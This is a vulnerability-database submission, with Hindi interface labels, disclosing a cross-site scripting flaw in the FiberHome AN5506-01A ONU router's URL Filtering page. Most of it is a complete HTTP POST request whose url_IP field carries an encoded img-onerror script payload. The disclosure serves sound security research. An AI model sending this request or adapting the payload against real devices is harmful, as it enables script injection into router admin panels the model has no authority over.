| शीर्षक | FiberHome AN5506-01A ONU GPON RP2511 Cross Site Scripting |
|---|
| विवरण | A Cross-site Scripting (XSS) vulnerability was found in the ONU model AN5506-01A application and management.
To carry out the attack, it is necessary to access the "Security" menu and select the "URL Filtering" submenu. In the "Add" function, there is an input field for entering addresses to be added to the filter. The affected field is "URL Address". In this field, it is possible to inject a Cross-Site Scripting script.
Request:
POST /goform/URL_filterCfg HTTP/1.1
Host: XX.XX.XX.XX
Content-Length: 147
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://x.x.x.x
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/security/url_filter.asp
Accept-Encoding: gzip, deflate, br
Cookie: loginName=admin
Connection: keep-alive
url_IP=%3Cimg%2Fsrc%2Fonerror%3Dprompt%288%29%3E&url_s_hour=0&url_s_min=0&url_e_hour=24&url_e_min=0&url_rule_enable=0&url_apply=Apply&fw_curIndex=0 |
|---|
| स्रोत | ⚠️ http://x.x.x.x/ |
|---|
| उपयोगकर्ता | Havook (UID 71104) |
|---|
| सबमिशन | 14/02/2025 05:48 PM (2 साल पहले) |
|---|
| संयम | 23/02/2025 08:14 AM (9 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 296603 [FiberHome AN5506-01A ONU GPON RP2511 URL Filtering Submenu /goform/URL_filterCfg url_IP क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 17 |
|---|